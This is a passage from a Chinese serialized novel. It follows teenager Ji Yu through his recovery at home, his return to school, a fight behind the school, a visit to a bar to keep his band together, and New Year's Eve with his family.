纪羽就再没见到过纪律。 他不知道纪泽兰和徐梁听到了多少,总之他也没再见到贺思钧。 事后他回想起来当时的场面,也意识到这对他五十多岁的父母来说有些过于残忍, 冲击力太大,但他确实只是一时情绪上头。 至少他拿起的是水果刀而不是玻璃碎片是不是? 他还记得要保护好手指。 颈上的血痕经过近一月的修养连一道疤都没能留下, 纪羽对着镜子笑了一下,镜子里的人也对他笑,灿烂且毫无阴霾。 纪羽下楼, 韩姨看到他很惊讶:“今天起好早, 早饭还没好呢。” 纪羽对她笑:“我可以帮忙!” “不。”韩姨脱口而出。 “不用。”韩姨把他推出去,让他到沙发上坐下, “你在这看电视, 坐一会儿,马上就好, 啊。” 纪羽听着她脚步匆匆地回去, 关上了门,好像还上了锁, 从上锁的抽屉里取出刀具切水果。 时间太早, 电视台在播早间新闻,纪羽陷进柔软的沙发中, 看到左下角的日期显示今天是星期一。 他已经一个月没回学校了。 大门传来响动,纪羽坐起身, 看到徐梁进门立刻站起跑过去。 “爸!” “哎!爸爸身上冷, 你站远点, 别冻着。”徐梁脱了外套,从怀里取出一个纸袋,“时间赶得刚好, 你妈还说今天你得八点才起呢,看看,还是我算得准,刚好能吃上米糕,还是热的。” “那我去叫妈起床。”纪羽欢呼一声,转身跑上楼。 “小心点!” “妈?” 纪羽敲门,没听到回应,小心推开门,房间里亮着灯,纪泽兰靠在床头正低头翻看什么。 纪泽兰入了迷,连纪羽叫她都没察觉。 纪羽踮着脚小心翼翼地贴着墙溜进去,走近了才发现,纪泽兰在看相册。 正翻到的一页是他三四岁时被抱在大腿上,对着镜头笑的照片,脸圆圆的,身上裹了一件鹅黄的棉衣,身材也圆圆的,像大球上顶了个小球。 “起来了。”纪泽兰注意到他,脸上还挂着柔和的笑意,相册被合上放到一边,“今天起这么早,晚上睡得好不好?” 纪羽被拉着坐到床上,纪泽兰的手掌摸过他的额头又向下托着他的脸颊,他偏头去蹭,乖得不行。 “我爸买米糕回来了,要早点下去吃。” “买了什么口味的,有你最喜欢的芋泥吗。” “妈——”纪羽拖长语调像在撒娇,“米糕我喜欢吃蜂蜜的。” “那是妈妈记错了。” “是因为他们家不做芋泥的,如果有芋泥馅,肯定就是我最爱吃的了。” 纪泽兰呼噜他的头发:“今天我和你爸学一下怎么做芋泥米糕?” “那还是不要了,好麻烦,很累的。” “你不动手也嫌累呀?” “我肯定会想帮忙的呀。” 纪泽兰都依他的:“好吧,那等你也想做的时候我们再一起动手。” 米糕被捂了一路还温着,韩姨又借蒸锅的余温又热了热,糕体绵软发糯,韩姨不肯吃,纪羽掰了半块分给她,说他吃一整块就该吃不下她做的早饭了。 早饭过后,纪羽坐到落地窗前消食,不出太阳的日子外边都是灰蒙蒙的,柚子树落了几片叶子到院内,又厚又大的叶子被寒风吹着滚动。 贺思钧说的那场雪迟迟没来。 “外边有什么?”徐梁在他身边坐下,他年轻时就壮,年纪上来后也不显老态,骨架宽大占了一半位置。 纪羽收腿给他腾位置:“在看会不会下雪。” “想看雪?”徐梁思考片刻,“要不我和你妈妈商量一下,去北方住一段时间,那有暖气,咱们坐高铁去,一下车咱就进屋,在屋里也能看雪,那雪能堆到窗台……” 纪羽摇头:“我想看宁海下雪。” 徐梁犯了难:“嗯……爸爸想想,按理说有人工降雨就能有人工降雪,我去联系一下?” 向天上打几炮花点钱哄孩子开心在徐梁看来很正常,他巴不得纪羽现在对他多提点要求。 纪羽还是摇头,并告诉他人工影响天气是有管理条例的,不是随随便便朝天鸣枪示警,老天爷害怕了呜哇几声就掉泪珠了。 儿子太遵纪守法,徐梁没办法,只好道:“还想要什么,爸爸给你买。” 纪羽靠在玻璃上,灰白的天空映在他眼底,显得毫无生气:“下个礼拜,我可以回去上课吗?” 徐梁剥柚子的手一顿,语气自然道:“这学期就快结束了,我们不是说好休息到下个学期吗,这个礼拜就是元旦了,学校放假咱们也放假,就是比他们多休息几天,有没有想好要怎么庆祝新年?” 纪羽慢慢地眨了眨眼:“要过元旦了?” “一年一年过得很快吧,爸爸感觉自己还只有二三十岁呢,一眨眼你也那么大——小宝,你去哪儿?” 纪羽蹬着拖鞋跑上楼:“我去打个电话。” “嘟——嘟——” 握着手机的手指骨节突出。 “喂。” “老麦,我是阿雀。” “……阿雀。” “还是没有演出安排吗?” 纪羽等不及回答又道:“快到元旦了。” 这一年,就要结束了。 听筒里传来几声杂音,老麦在点烟,还有几道模糊不清的人声。 “最近有点忙。” “……” 纪羽的声音轻轻的:“承风要解散吗?” “……阿雀,还没到时间。” “是因为纪律和你们说了什么,你们都宁愿听他的也不听我说什么是吗!我说了我们重新开始,以前发生的都不算数了!” “阿雀,你先冷静下来。” “我很冷静。” “现在还很早,你已经吃过药了吗?” “吃了,那只是调节植物神经的药,吃不吃都和我现在的情绪没关系。” 纪羽等着老麦的回复。 几声雄厚的叫骂声响起,还有重物倒地和酒瓶碎裂声。 老麦骂了一句脏话,又对他说:“晚点再谈,我这里刚下班,有点事要处理。” 纪羽一瞬间想把手机摔出去,但他还是说:“好,我不打电话给其他人,等你处理好了再回我。” 电话随着老麦的骂声一起中断。 他放下手机,到桌边抽出几张卷子来写。 虽然没去上学,但纪羽也没落下进程,该学的都已经学了,只剩下无休止的复习和重复,纪羽在这件事上做得很好,即便只有他一个人,也能忍受这种枯燥。 甚至他开始享受时间在他不知不觉中流失的感觉。 直到敲门声响起,纪羽才回过神,起身时眼前乌黑,缓了几秒才起身打开门。 纪泽兰焦急的表情很快整理过来,她向内张望一眼:“该吃午饭了,累不累?” 纪羽带上门走出房间:“不累,我还不饿。” “一直动脑筋也会累的,吃几口菜吧,你爸蒸了鲈鱼,妈妈给你挑刺好吗?” 纪羽又不小了,就算嫌吃鱼麻烦也能自己挑鱼刺,但下楼才发现一整条鱼的刺早就挑干净了,徐梁得意地对他笑笑:“你妈妈动作太慢了。” 吃饭,休息,学习,又吃饭。 纪羽第三次坐到落地窗边,灰白的天变得墨蓝。 纪泽兰打毛衣,纪羽理线,把毛线一圈一圈缠到徐梁手上。 “小宝记不记得,以前我和你爸还在厂子住着的时候,你才一岁多,给你买了玩具也不喜欢,偷偷地藏了个毛线球在被窝里,不声不响地手一拽一拽,把整团线都扯散了。” “真是,满床的毛线,你满身都是,好险把你自己勒到,都快把你妈妈吓死了,你哥当时……” 徐梁突然噤声。 不用说纪羽也知道,纪律当时打完水回来,看到满床的毛线把他拎起来,他还不知道危险对着纪律笑。 纪律后来对他说了什么吗,好像都忘了。 孩童时期的记忆总是模糊的,只有这些片段还残留着,事情的最后是他看着纪律像现在他做的这样,一圈圈将毛线缠紧。 后来纪泽兰用这团毛线给他织了个帽子,现在还留着。 “他去哪儿了。”纪羽问。 这段时间,没有人会在他面前提纪律的名字,像是一种避讳,纪羽认为这是过度紧张,他又不是看到抖动的红布就会发狂的斗牛。 徐梁沉默着,纪泽兰开口道:“你哥哥在国外有住处。” 纪律逃到国外去了。 毛线在手背绷紧,似乎要陷进关节的骨缝里。 纪律总是能以这种轻巧的方式脱身。 “他还没没和我道歉。” 纪羽垂着头,肩背单薄,半边脸颊陷入暖黄的光照中。 “对不起,”纪泽兰放下了钩针,紧紧地抱住他,“是妈妈想得太轻松了,不该把你丢给哥哥照顾。” “不是你的错。” 纪泽兰将纪羽抱得紧密,徐梁找不出空,将只好宽大粗糙的手掌盖住儿子的后脑勺,刚理顺的毛线落到地上又落得一堆乱,纪羽的头发也乱糟糟,“没考虑到你的心情,爸爸以为你们只是吵架,对不起。” 纪羽靠在纪泽兰的肩头,呼吸不畅却不肯抬起脸:“现在已经不流行打是亲骂是爱了。” 徐梁说:“我知道。” “我没有生病。” “是,你没有生病,只是我们想和你多相处一段时间,好吗?” 纪羽闭上干涩的眼睛,抱住了纪泽兰:“嗯。”—— 作者有话说:放心放心,小鸡很坚强 第79章 雪在新年前一天落了, 纷纷扬扬,新闻里称这将是宁海市近十年来最大降雪,提醒各位市民做好应急防范措施。 太冷了, 水管里结冰,不少人家停水, 厂子里也不例外,一时间停课停工停产通知不断。 雪堆到窗台上,纪羽趁人不注意, 攒了一团拿进屋, 没几分钟就化了一滩水。 手冻得通红。 白茫茫的雪地里出现三个身影,柳承拘谨地叩门:“我们、我们来看看纪羽……听说他生病了……” 算起来, 从演唱会之后, 纪羽就没见过柳承和展舒文了。 韩姨热情地把他们迎进来,给缀在最后的贺思钧送去一个嗔怨的眼神。 怎么那么久都不来一趟。 贺思钧沉默着锋利的脸, 跟着其他人进屋。 纪羽穿着睡衣就下楼。 “外面的雪很大吧!” 柳承有点后悔在门外把雪抖落了:“嗯, 到小腿肚上面。” 在招待人喝了热糖水吃过点心,纪羽就缠着要出去。 不走远, 就在院子里。 雪还在下呢, 不冷,等到化雪那天才冷。 徐梁一心软, 应了。 纪羽带着人在院子里撒欢,柳承滚雪球很熟练了, 没多久抱起来个直径比他腰还粗的雪球墩。 纪羽戴着手套, 球滚不圆。 咕噜噜脚边滚来一个。 贺思钧低头在攒第二个。 最后垒了一座塔, 展舒文把自己的围巾贡献出去,纪羽送了她一条新织的。 全程,他没和贺思钧单独说过话。 人走后, 纪羽发了高烧,当晚就退了,满头的汗,纪泽兰坐床侧,纪羽枕在她腿面上:“我想回去上课。” 雪整整下了十天,纪羽在家上了一周的网课,返校后是三天的期末考。 徐梁忧心忡忡:“不考了吧,太累了!” 纪羽拉车门,拉不动,拖长语调:“爸——爸——” 班里换了座位,纪羽的课桌被搬到了后边,他一个月没来,同学们很激动。 “你做手术了吗?” “我也想一个月不来学校。” “还有人来班里问你什么时候回来,我都说不知道。” “你怎么想不开在考试时候回来啊?” 纪羽也不认真回答,笑着随便说了两句就混了过去,其他人也不计较。 “隔壁班梁子尧也很久没来了,我们还以为你们说好的呢。” 纪羽嘴角笑意渐隐。 考试时间安排很宽裕,纪羽做完了卷子还有时间检查两遍。 中午徐梁来送饭,刻意不提考试话题,纪羽在车上睡一觉,又考了一场就放学回家,上学节奏比在家还轻松。 期末考后还有近三周的补课,成绩在考后第三天出炉。 纪羽枕着手臂打瞌睡。 顾英杰火烧屁股似的跑回来,被纪羽“救一命”后他自认和纪羽是过命的好兄弟,但在前不久他才加上纪羽的好友。 “前一百!纪羽!卧槽!” 纪羽起身,眼角还带着困意:“我?” 顾英杰:“这个逼装得好,下次我也来。” 他急着问秘方:“你不是身体不好在家休息吗,怎么搞的,吃什么秘籍了还是找谁补课了,可怜可怜兄弟怎么样?” 纪羽很淡定:“一天刷十张卷子就行。” “……”顾英杰等着纪羽下半句说骗你的。 良久,颤颤巍巍道:“真的?” 纪羽:“你多少名?” 顾英杰:“三百八十二。” 纪羽:“你刷二十张。” 顾英杰哭丧着脸跑走了。 等人散去,纪羽去看成绩单。 展舒文和柳承还是前五十,他在他们靠后一点的位置。 “73名。” 就算是放到市里排名,他的成绩也属于前列。 除了最顶尖的几所,剩下的学校他可以随意挑。 纪羽看着,没有预想中的高兴。 贺思钧没他考得好,但也进步了,136名。 李玄把他的座位重新调整到前排,贺思钧则安排到后座,两个座位间的距离隔着十万八千里。 这样也好,省得以后麻烦。 纪泽兰和徐梁已经是很好的父母,在没钱的时候也在能力范围内给他最好。纪羽还记得自己被裹在床单里荡秋千睡着,醒来时,左边是徐梁,右边是纪泽兰紧握着他的手。 他们就算知道了贺思钧的秘密,也仅仅是埋藏在心底,更没有借此试探过自己。 他们只是将贺思钧和他隔开,减少接触。 这不就是一开始他想要的吗? 一切回归正轨。 当所有人以为梁子尧不会再出现时,他又悄然出现。 他瘦了很多,头发剃短,看起来像绝症病人的打扮又因为他的长相显得十分桀骜。 梁子尧在走廊上叫住纪羽,纪羽没回应,径直地走过。 梁子尧挡在纪羽身前:“纪羽,我们谈谈。” 纪羽锁骨上沿处的皮肤深深地陷下去,眼神像雾般化不开。 他不说话,甚至眼睛也不眨一下。 梁子尧被无视得很彻底。 “我没想骗你,最开始,我是真心想和你做朋友,我不知道莫满做过什么,那时候我只是好奇……” 这贱味,是真的梁子尧,不是莫满假扮的。 梁子尧和莫满之间并不是毫无联络,父母关系缓和后,他们也经常性地见面,有时他爹太忙,也会把他丢去另一边住一段时间。 尽管他们是连DNA都极端相似的孪生兄弟,但他对莫满的行动不感兴趣,他有得是朋友,看着莫满,他心底总浮现一层鄙夷——他不能接受世界上另一个他是这样无聊的一个人。 直到他看到隔壁班同学的脸出现在莫满的电脑屏幕里。 他没有说谎,最开始,他确实对纪羽一无所知。 “但我发现,无论我怎么做,你好像都不太喜欢我。” 纪羽终于有了一点反应,他上前一步,脚跟碾住梁子尧的鞋尖。 忽略梁子尧一寸寸变得青白的脸色,两人间的互动称得上亲密。 人来人往中,纪羽贴近他的耳朵,声音不大不小,刚好够他听清。 “你还想挨打吗?” 纪羽说这话时没有笑,眼尾仍是上挑的,鼻梁到鼻尖的弧度堪称完美,嘴巴开合时可以瞥见舌尖浸着津液,梁子尧愣住了。 他脸上又密密地泛起疼来,眼前重现纪羽冷着脸红着眼睛砸他的样子,对比起来,纪羽现在的态度甚至是温和的。 甚至有点乖。 “好。”梁子尧抬头看向闪着红光的摄像头,“我知道有地方没监控。”- 梁子尧冷声道:“贺思钧,这件事和你没关系吧?” 贺思钧:“有没有关系,你说了算?” 纪羽交叉手臂,对贺思钧的挑衅予以肯定:“我说才算。” 后山树林,草地上的雪还没化干净,风一吹,就带起冷冽的泥土味。 三人间风声也静止。 贺思钧有意向纪羽靠近,但他进一步,纪羽就向一旁移开两步。 眼见纪羽离贺思钧越来越近,梁子尧开口了:“纪羽,你应该知道,贺思钧不是完全无辜吧。” 纪羽像看白痴:“我早就知道了,轮不到你说。” 脾气怎么越来越差了。 但肯和他说话,就是好事。 梁子尧转变思路:“我是真的不认识贝斯和电吉他,那会儿我不是故意的。” “你再装。” “……如果我没有受伤,没有让莫满接近你,是不是不会闹成现在这样?” 纪羽冷眼看他:“在这之前你难道没有让他顶替你出现吗?” “没有。”梁子尧矢口否认,“莫满从小就会撒谎,他习惯把事情推脱到我身上,你知道他有多会挑拨离间。”就像他对你和贺思钧做的那样。 梁子尧将后半句话咽下。 “你现在不也一样吗?” 梁子尧惊愕抬头,纪羽长到被教导主任发出警告的头发垂在耳侧,白玉似的耳尖发红。 “你不也在把自己摘干净吗,你什么都不是故意的,不是有心的,那莫满怎么会知道你对我经常说的话,知道我的朋友叫什么名字。你的账号也有分身是吗?” 纪羽的眼睛漂亮澄澈,甚至显得过于天真,也因此,这双眼睛里露出来的鄙夷才足够伤人。 贺思钧静静地看着,像沉默的一座山立在一旁,尽管他脸上并没有任何表情,但梁子尧认为他是得意的。 他们的境遇彻底互换了。 “别废话了,我真的很想再打你一顿。” 上次没力气了,没打够。 纪羽特意挽起了袖子,正要上前,却见梁子尧挥拳向贺思钧打去。 贺思钧像是早已做好准备,当即矮身躲开,抓住梁子尧衣领就将他掼在一旁树上。 动作干脆利落,眨眼间梁子尧就已躺在了雪堆里。 纪羽:“……” 但梁子尧也年轻,体格不输贺思钧,虽然缺少一招制敌的技术,却也不缺锻炼,下手也够狠,抓住贺思钧胳膊借力踹向贺思钧肋间。 贺思钧当即翻臂,肩臂发力,用力一甩,梁子尧腿面险而又险擦过他校服衣摆。 这不是纪羽第一次见人打架,却是纪羽第一次见贺思钧和人打架,两人力道之重,砸得树干震颤,树冠抖落雪水,纪羽被淋得一激灵,立刻退开到空地上。 打吧。 纪羽放下袖口。 打人也挺累人的,他还要留力气写今天的作业呢。 第80章 上课铃响过十分钟。 两人还在打。 贺思钧身手好, 但有顾忌,下手重了,会打死人。 梁子尧又实在难缠。 纪羽等不下去, 他想先走。 他一迈步,梁子尧立刻停手:“纪羽。” 贺思钧一拳落在他肋间。 梁子尧闷哼一声。 纪羽停了, 扭头看他一眼。 贺思钧光挑身上下手,梁子尧脸上干干净净的,特欠揍。 “乐队, 莫满加入了一个乐队。” 纪羽捏住手指:“叫什么。” “雷暴云。” 纪羽转回身踹一脚梁子尧刚长好的腿, 招呼贺思钧: “走了。” 贺思钧放手,两步跟上。额角被树干擦了一道, 渗出血丝来, 添了几分野性。 纪羽觉得自己好像捡了条脏兮兮的野狗回家。 一进教室门纪羽就后悔了,他该和贺思钧前后脚岔开进, 贺思钧也不提, 他们俩一进教室就被拎出去。 鲁班吸气,气沉丹田:“你们俩自己检讨, 干什么去了!再过两分钟你们不回来, 我就上报给你们班主任了。” 李玄月份大了,班里人都很注意不让她着急。 鲁班看一眼灰扑扑额角带伤的贺思钧, 再看干干净净清清爽爽的纪羽。 总不能是纪羽把贺思钧打了。 兔子一个后蹬腿还能把老虎踹翻了? 可能吗? 十七班人觉得很可能,叽叽喳喳地讨论开了: “这就叫什么, 破镜难重圆, 我就说他们不可能和好了!” “卧槽, 纪羽厉害啊,贺思钧他也敢打,我最不敢招老实人了。” “谁老实?快一米九的老实人?” “不能吧, 都打架了两人还一起回来?” “都上课了谁跟他们打架去?” “以他们俩关系来说这算家暴还是校园暴力?” “别拿这个开玩笑行吗。” “他们俩到底得闹到什么时候去?” 纪羽没打算闹,他低着头听训,脑袋顶看着就乖,下巴尖尖的一小截,鲁班训不下去了。 转头对贺思钧问道:“你自己说,你脑袋上的伤怎么来的,大胆说,学校里到处是监控。” 纪羽看贺思钧一眼。 贺思钧说谎本事很差。 贺思钧笔直站着:“踩到地上的雪摔了一跤,撞到树了。” 面不改色心不跳的。 鲁班无语了:“真的?” 贺思钧:“嗯。” 鲁班将信将疑:“那纪羽呢?” “他路过,扶了我一把。” 鲁班看纪羽的小身板:“确定?” 贺思钧面无表情:“嗯。还去了趟医务室,没人我们就回来了。” “那也耽误太久了,一有情况就该找个同学让他过来和老师汇报,而不是自作主张!” 纪羽和贺思钧都乖乖地:“嗯。” 到底是他的得意门生,鲁班的学习小组他俩打示范,成绩那叫一个高歌猛进,鲁班在自己班推行后班级整体成绩也有拔高。 看着这一对试验小白鼠,鲁班心底知道两人都没说实话,但也没有再追究。 “进去吧,还好是我的课,以后不许这样了。” 纪羽先进去,贺思钧慢一步,鲁班喊住他,指指脑袋:“下课再去处理一下。” “嗯。”- “严重了哦,再不早点来,伤口都愈合了呀。” 校医捻一根棉签摁上贺思钧结痂的伤口,纪羽别开眼。 校医看一眼贺思钧,又看一眼纪羽:上次也是你们俩是不啦,一点小伤大惊小怪。” “不是小伤我们就去医院了。”纪羽呛声道。 他早就看校医不爽了,上次来他就不高兴。 他又没欠人的,怎么总不能好好说话。 “欸!”校医手叉腰,“你个学生你怎么说话的!” 纪羽:“我就是正常说话!” 校医还没想过在这破学校里还能遇到医疗纠纷的:“你不要以为我不是老师就拿你们没办法!” 纪羽:“哦!” 校医头一次碰到纪羽这种软钉子刺头:“我不看了!” 纪羽推门就走。 校医气得仰倒,见贺思钧顶着刚消毒过脑袋也走:“走了就别再来了!” 贺思钧走出两步,回身把着晃悠的门:“老师,我会写信投诉你的。” 门咔嚓关上了。 一声怒吼在身后响起。 纪羽边走边踢路上的石子儿。 他脾气好像真变差了。换做以前,他不会当面就和校医对骂然后转身就走。 他就是生气,他听不得人阴阳怪气。 这能是他的问题吗? 贺思钧赶上他,纪羽也睨他:“刚刚我说话的时候你不帮我。” 纪羽发挥得挺好,其实也没给贺思钧插话的空间。 但贺思钧诚心认错:“下次不会了。” “下次,下次,哪有那么多下次,还有一学期高中就毕业了,以后……” 纪羽不说了。 哪有什么以后- 在学校清空一大半,只剩高三留守时,宁海又下了一场雪。 高三的满怀期待,最好再来一场寒潮,把他们赶回家去。 雪花飘着,教室里的心思也躁动着。 课是上不下去了,几个班老师松口让他们出去玩一场。 就一点,别把身上弄湿了影响下午的课。 一群人嘴上答应得好,一放出教室就像返祖了,满操场的尖啸声。 后来没放人的班也坐不住抗议了,高三的都涌出了教室,不打雪仗的在教学楼底堆雪人,操场上雪球纷飞。 纪羽也不想打雪仗,他在教室待久了脸热得通红,出来透气,一团雪就飘到脸上。 纪羽气得不行,拉着柳承去找场子。 柳承得了纪羽的叮嘱,紧张就冷脸,配上他的体格,一唬一个准。 “反正他们也不相信你很善良,那就干脆吓死他们。” 纪羽就这么教他。 纪羽和柳承一块走,没人敢砸他们俩。 一个特大号雪球砸到柳承脚边。 除了展舒文。 纪羽喊:“柳承,砸她!” 纪羽自己不动手,净指挥柳承。 柳承受指使,捏了一小团雪在手心,往前抛,在半空中就散了。 “兄弟,你天女散花呢!”顾英杰捏了团雪球抛过来,没准头,砸到纪羽肩上。 纪羽还没说什么,潘玥跳出来:“顾英杰,你敢!”她拉着展舒文就去报仇,顺手把柳承也一起带走了。 顾英杰被砸得满场乱窜。 纪羽看着笑了一会儿,腮帮子有点累了,停下来揉了揉,若有所感回头,贺思钧就在他后边看着。 纪羽捏了把雪抛他脸上:“看什么。” 睫毛上挂了雪,贺思钧眼也不眨:“看你。” 雪花纷纷扬扬,纪羽未被帽子遮住的发梢和眼睛上也落了雪,呼吸间白气凝结。 “我爸妈不同意。”纪羽说,“我也不同意。” 四目相对。 “你死了这条心吧。” 贺思钧身体好,皮肤蒸腾着热气,落在他脸上的雪顷刻间化了,顺着颧骨滑落,像眼泪一样。 “没关系。” 他伸手,一团被捏紧的雪躺在手心,“贝斯,像吗?” 纪羽看一眼:“丑爆了。” 贺思钧还笑:“好吧。” 纪羽用雪砸他。 一中提前放了寒假,因为那场雪,也因为一个班里一半人都在雪仗里病了。 但离过年也不远了,还剩不到六天就是大年三十。 纪羽幸运地没感冒发烧,他裹着羽绒服,一脚踹开了酒吧大门,点了老麦调酒。 老麦不和他提承风,他也不说,把酒杯放整齐排了一吧台。 灯光昏暗,酒精与香水充斥着暧昧的空间,老麦用眼神逼退了又一个试图上前搭话的人。 他对纪羽说:“这不是你该来的地方。” 纪羽年轻的面容在酒红的灯光中脱去了最后的稚气,睫毛与眼珠深黑,黑发被捋过耳后,显出他在舞台上才有的沉着的风采来。 他扯出一个笑:“那我该去什么地方?图书馆?自习室?还是回家躺在床上等你们信息?” 他把杯子排成一条直线,轻弹酒杯:“我哪儿都能去。” 纪羽端起杯子,浅蓝酒液向下滑落,老麦把杯子抢了过去。 纪羽扬起眉毛,连带着眼尾也越发张扬地上挑:“我还没喝到。” 酒液刚刚润湿了嘴唇,他只尝到一丝涩。 许多人将视线投来,他却像什么都不知道的小鸡崽子,一个劲啾啾啾。 老麦擦着酒杯:“你还什么都不懂。” “是我什么都不懂,还是你什么都不敢?”纪羽又拿起一杯酒,“人老了胆子就会小,老麦,我不怪你。” 纪羽眨眨眼睛。 老麦额角起了青筋。 “我不管纪律和你们说了什么,”纪羽手撑吧台,一字一句看着老麦道,“我不许承风解散。” 说完,他又坐下:“他是律师,黑的也能说成白的,嘴巴一张就能气死人。” 他端起又一杯,在老麦夺走前喝了一口。 还是涩的。 “难喝。” “难喝就别喝。”老麦端走酒杯,又倒掉。 纪羽嘟囔:“我花了钱买的。” 老麦:“记我账上。” 纪羽枕在胳膊上对他笑:“是记你工资里吧?” 老麦:“……” 活泼的舞曲被换下,萨克斯悠长响起,少年的声音依旧清晰:“我不知道你们都在顾虑什么,想什么,但是我不想承风因为我又散一次。” 老麦沉默很久,板正的白衬衫包裹着他的胳膊,领口整齐叠起到小臂,他投下的阴影盖住了手臂上夸张的刺青。 这是他找到过最体面的工作。 许久,纪羽都快趴着睡着了,才听老麦说:“你对承风的负担太重了。” 纪羽直起身,脸上压了红印,一本正经道:“你才是队长。” 纪羽觉着自己说得挺有深意。 “艹。”老麦别开脸笑,“小傻逼。” “行吧。” 纪羽愣了几秒,反应过来自己的目的已经达成了,跳下高凳,揉了揉脸:“那就这么说定了,过完年开工,给你最后一点时间调整。” 他从口袋里掏了钱,一把拍老麦面前,一溜烟地跑了。 老麦追出两步,怕钱被人拿了,又折回去收好。 吧台边上几人落座。 辽光喝一口酒,呸出来:“这么甜,有酒精度数没?” 贝旬:“没加酒。” 曲坚老神在在:“我就说我徒弟很难弄吧。” 80-90 第81章 大年三十, 家家户户最是热闹的时节。 一大家子人甭管在哪,天南海北地也得赶回来,把老太太老头搀上桌, 择菜的择菜,杀鱼的刮鳞, 做点心的活馅,从晌午边热火朝天地干到傍晚,农家的赶在太阳落山前吃团年饭, 城里的就晚一截, 天擦黑时举起杯子撞到一块儿。 对纪家来说倒也是那么一回事儿,就是冷清得多。 徐梁和纪泽兰都是同个村出来的, 要说或多或少也是沾亲带故, 可他俩都是抱养来的孤儿,和家里边一点血缘攀不上。 养父养母去世得都早, 两人发了家也没想着私藏, 偏人心不足蛇吞象,恩惠恩惠, 生恩你没福气, 养恩咱们都帮了把手,得了什么好处也该都拿出来孝敬孝敬。 这恩是报不完了, 要是只有徐梁和纪泽兰俩人倒还忍忍,可下边有个大儿子还生了个体弱的小的, 不为自己想也得为孩子想, 索性就这么断了, 也不留念。 举家到了宁海,除了纪泽兰和乔青燕还保持着联系,旁的关系该断的都断了。 往常团年饭, 纪家四口人一起吃一顿,要是贺家没回老家探亲,晚上还能聚一聚,今天纪泽兰却是没提这事儿。 这天家里也就剩了仨人。 “爸!康年哥送来的鱼怎么办!”纪羽蹲在水桶边,眼见着鱼尾巴一甩一甩要蹦出来,溅了满脸水花也顾不上抹,手伸出来更不知道碰哪儿,只能喊,“爸!!” “来了来了!”徐梁手上还捏着肉肠打结,弯腰一看,“再加点水就不蹦了,快去把脸擦擦,年三十的可不能感冒。” 纪羽擦了脸换了衣服回来,鱼已经在案板上压着,徐梁高高举起菜刀,鱼身一挺呲溜一下就从徐梁手中滑走,在半空中飞了一段,直冲着纪羽来。 纪羽眼疾手快举起锅。 “砰”一声。 鱼落在地上晕了,躺在地面上最后弹起尾鳍。 徐梁竖大拇指:“厉害!” 纪羽把凹了一块的锅杵平整,又和纪泽兰去包粿子。 “这么多都送人吗?”纪羽在手心搓圆。 纪泽兰说:“小宝喜欢咱们就留着自己吃。” 那也太多了,纪羽装了几盒子,又带了些好存放的卤味,和纪泽兰打了声招呼,打车出门了。 柳晓怡在巷口摔炮,纪羽一下车就受到热烈欢迎,一群萝卜头跟着柳晓怡喊他哥哥,纪羽别提心里有多美滋滋。 见他来,柳母一个劲招呼柳承给泡茶,宁海这有专门招待贵客的茶,一般不拿出来,到了节日里才端上桌。 咸甜味的,底下是烘过的青豆,细红丝盖了一层,顶上又掰碎了薄锅巴进去,泡软了米纸似的一层裹在舌尖,回味一点点甜。 纪羽好不容易喝完一杯粥似的茶,肚子撑得溜圆,柳母见他喜欢又要泡一杯,纪羽忙不迭要跑,临走前被塞了两兜的糖和橘子。 纪羽不好意思,找了还开门的铺子也不问价格,提了两篮水果,怕进去就不好出来,又请几个萝卜头吃了脸大的波板糖叫人送进柳家,这才上车走了。 展舒文跟着她妈出去旅游了,不在家,辽光离他远着,纪羽挨个儿探望孤寡老人似的上门关心老麦和曲坚,谁知两人都不在家,再一问是都有兼职,春节四倍工资,正忙得热火朝天。 纪羽只好打电话问贝旬在哪,电话响了好一会儿才接起来,接起来那头风声呼呼的像鬼吼似的,贝旬说他在国境线最北边,采风去了。 纪羽羡慕得不行,让他发照片和视频给自己,贝旬一口应下,说今晚天气不错,可能有极光,纪羽如果感兴趣,他们可以视频,纪羽满嘴答应。 挂了电话才想,就算有极光,手机也拍不到什么,但听着比放烟花高级多了。 最后两盒粿子纪羽掂在手里,咬了咬牙,还是报了幸福花苑的地址。 开门的是贺泰安。 他没装假肢,坐的轮椅,纪羽不得不低头看他:“干爸……” 贺泰安没想到他这时候来,转开轮椅让他进来,乔青燕闻声举着锅铲出来招呼他:“小羽啊,怎么了,又和你哥吵架了,今晚在我家吃饭不?” 这就是句玩笑话,纪羽提起嘴角笑了两下含混道:“我马上就回家了。” 见他立刻就要走,乔青燕又赶忙塞了两提礼盒给他:“这就走了,不和贺思钧说几句话啦?” 纪羽已经听见后院的门打开的声响和贺思钧的脚步声了,但还是说了几句吉祥话摆了摆手,转身快步跳上车,催司机:“走吧走吧。” 贺思钧从家门里追出几步,在后视镜里映出一道小点儿来。 折腾了一圈,纪羽回到家徐梁已经把菜端上了桌。 纪羽不太高兴:“不是说让我做一道嘛……” 徐梁和纪泽兰哪里敢让他下厨,纪羽煮个泡面都能灵机一动向里丢几个汤圆再加点番茄酱,又一转身不小心就被热油烫了手。 纪羽又是特善良的小孩,从小时候起,大人做什么他都要帮忙,不让他做他就难受得哭,软绵绵地问是不是他做得不够好,爸爸妈妈不喜欢。 这么些年来为了对付纪羽,徐梁也终于摸索出一招,特苦恼似的摸着头:“哎呦,爸爸忘了,真是年纪大了越来越不中用了,炖汤时候我还想起来呢……” 纪羽连忙打断他:“好了好了,我知道啦!” 每回就这一个套路。 纪泽兰笑着拍他屁股:“行了,去换衣服洗手吃饭。” 纪羽听话地去了,回来想摆碗筷时发现纪泽兰已经拿了,正在分。 摆到第四套时,她手一顿,又收了回去。 纪羽这才从转角出来,什么都没察觉似的笑道:“开饭啦!” 死纪律。 韩姨回家团圆了,饭桌上就三个人,但菜摆了满满一桌,都是纪羽喜欢吃的,纪羽吃一口就要停下来说两句话。 “外边一点儿都不冷,我穿羽绒服都有点热,城西淮阳大道路边的梅花全开了,我还拍了照片,可好看了。” 徐梁问他:“那你闻着香味没?” 纪羽把纪泽兰夹来的一大块鱼肚子肉塞进嘴咽下,有点骄矜地抬下巴:“开车路上开窗都要把我脸吹麻了,哪儿还能闻到花香呀?” 徐梁乐了:“那明天咱们去看梅花?爸开车到东湖那边的梅林。” 纪羽:“明天不是去看巴爷爷吗?” 纪泽兰得了纪羽夹来一块鱼脸肉,笑得温和:“你巴爷爷今年到他儿子家里过了,说是年初五才回来,但也说不准。” 徐梁也道:“也是,巴老毕竟年纪大了,一人住着也不放心,能想通是最好的,孙子也都大了,也不用他操心,舒舒服服地养着多好。” 纪羽握着筷子没说话。 上次去见巴文旭还是中秋,有段日子没见,他其实也很想,但巴文旭有自己家人陪着,那是再好不过了。 